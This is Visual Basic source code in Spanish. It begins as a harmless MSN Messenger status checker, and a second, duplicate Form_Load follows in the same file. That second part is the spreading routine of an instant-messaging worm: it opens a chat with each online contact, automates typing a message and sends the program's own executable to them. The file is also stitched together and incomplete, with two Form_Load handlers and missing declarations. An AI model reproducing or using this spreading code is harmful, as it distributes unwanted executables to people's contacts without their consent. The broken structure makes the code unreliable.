Public WithEvents MSN As Messenger

Private Sub Form_Load()
On Error Resume Next
Me.Hide
Set MSN = New Messenger
If MSN.MyStatus = MISTATUS_INVISIBLE Then
MsgBox "Tu estado actual en el Messenger es No Conectado", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_AWAY Then
MsgBox "Tu estado actual en el Messenger es Ausente", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_OFFLINE Then
MsgBox "No has iniciado sesión en Messenger", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_ONLINE Then
MsgBox "Tu estado actual en el Messenger es Conectado", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_BE_RIGHT_BACK Then
MsgBox "Tu estado actual en el Messenger es Vuelvo Enseguida", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_BUSY Then
MsgBox "Tu estado actual en el Messenger es No Disponible", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_OUT_TO_LUNCH Then
MsgBox "Tu estado actual en el Messenger es Salí A Comer", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_ON_THE_PHONE Then
MsgBox "Tu estado actual en el Messenger es Al Teléfono", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
End Sub

Private Sub Form_Load()
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
End If
Next
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
End Sub

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub

Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim fWindowText As Object
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0))
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function